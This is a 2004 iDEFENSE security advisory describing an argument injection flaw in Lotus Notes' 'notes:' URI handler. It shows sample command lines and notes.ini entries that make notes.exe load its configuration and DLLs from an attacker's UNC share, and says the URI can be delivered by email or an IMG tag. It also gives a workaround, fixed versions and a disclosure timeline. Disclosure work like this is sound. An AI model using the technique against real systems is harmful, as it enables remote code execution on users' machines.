Lotus Notes URI Handler Argument Injection Vulnerability

iDEFENSE Security Advisory 06.23.04:

*I. BACKGROUND*

Lotus Notes combines enterprise-class messaging, calendaring and
scheduling capabilities with a robust platform for collaborative
applications. More information is available at http://www.lotus.com/.

*II. DESCRIPTION*

Remote exploitation of a parameter filtering vulnerability in IBM
Corp.'s Lotus Notes application allows remote attackers to execute
arbitrary code.

Upon installation of Lotus Notes the following registry entry is added:

   HKEY_CLASSES_ROOT\Notes\Shell\Open\Command

containing the value

   C:\Program Files\lotus\notes\notes.exe %1

This causes "notes:" URI requests to be opened by the Lotus Notes
binary, notes.exe, with the URL passed as an argument. The location of
the Lotus Notes configuration file, notes.ini, can be specified on the
command line by prefixing it with an equals sign (=). This parameter can
specify a file path in the form of a UNC network share. The following
example is a valid and specifies that the notes.exe executable load a
configuration file from a remote location:

   notes.exe =\\10.0.0.1\notes\notes.ini

The notes.ini file allows for the specification of the Notes data
directory. The notes.exe binary utilizes this directory to load some
dynamic link libraries (DLL). This parameter too can specify a file path
in the form of a UNC network share. The following sample excerpt from a
valid notes.ini configuration file specifies that the data directory
resides at a remote location:

   [Notes] Directory=\\10.0.0.1\\notes

Due to insufficient character filtering on the argument passed to
notes.exe from the "notes:" URI request an attacker can force a user to
start Lotus Notes with a custom notes.ini file that is under the
attackers control and specifies a custom data directory that is also
under the attackers control. The attacker can create a malicious DLL
containing arbitrary code that will be loaded and executed when
notes.exe is starting up.

*III. ANALYSIS*

Successful exploitation allows remote attackers to execute arbitrary
code under the privileges of the user that invoked the "notes:" URI
handler with an affected version of Lotus Notes. The malicious URI can
be transmitted to a target via e-mail or web and can also be embedded
within an HTML IMG tag.

*IV. DETECTION*

iDEFENSE has confirmed the existence of this vulnerability against Lotus
Notes versions 6.0.3 and 6.5. It is suspected that other versions are
vulnerable as well.

*V. WORKAROUND*

Remove the registry key responsible for creating the "notes:" URI
handler:

   HKEY_CLASSES_ROOT\Notes\Shell\Open\Command

*VI. VENDOR RESPONSE*

This particular issue has been documented as SPR# KSPR5X6VEA, which is
fixed in 6.0.4 and 6.5.2.

The vendor advisory for this issue is available at:
http://www-1.ibm.com/support/docview.wss?rs=475/context=SSKTWP&uid=swg21169510

*VII. CVE INFORMATION*

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2004-0480 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org <http://cve.mitre.org/>), which
standardizes names for
security problems.

*VIII. DISCLOSURE TIMELINE*

04/21/2004   Exploit acquired by iDEFENSE
05/05/2004   iDEFENSE clients notified
05/05/2004   Initial vendor notification
05/07/2004   Initial vendor response
06/23/2004   Public disclosure

*IX. CREDIT*

Jouko Pynnönen (http://iki.fi/jouko) is credited with this discovery.

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*X. LEGAL NOTICES*

Copyright © 2004 iDEFENSE, Inc.

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Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
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